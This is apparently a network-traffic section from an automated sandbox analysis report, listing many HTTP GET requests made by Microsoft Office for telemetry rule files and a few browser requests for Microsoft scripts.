Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
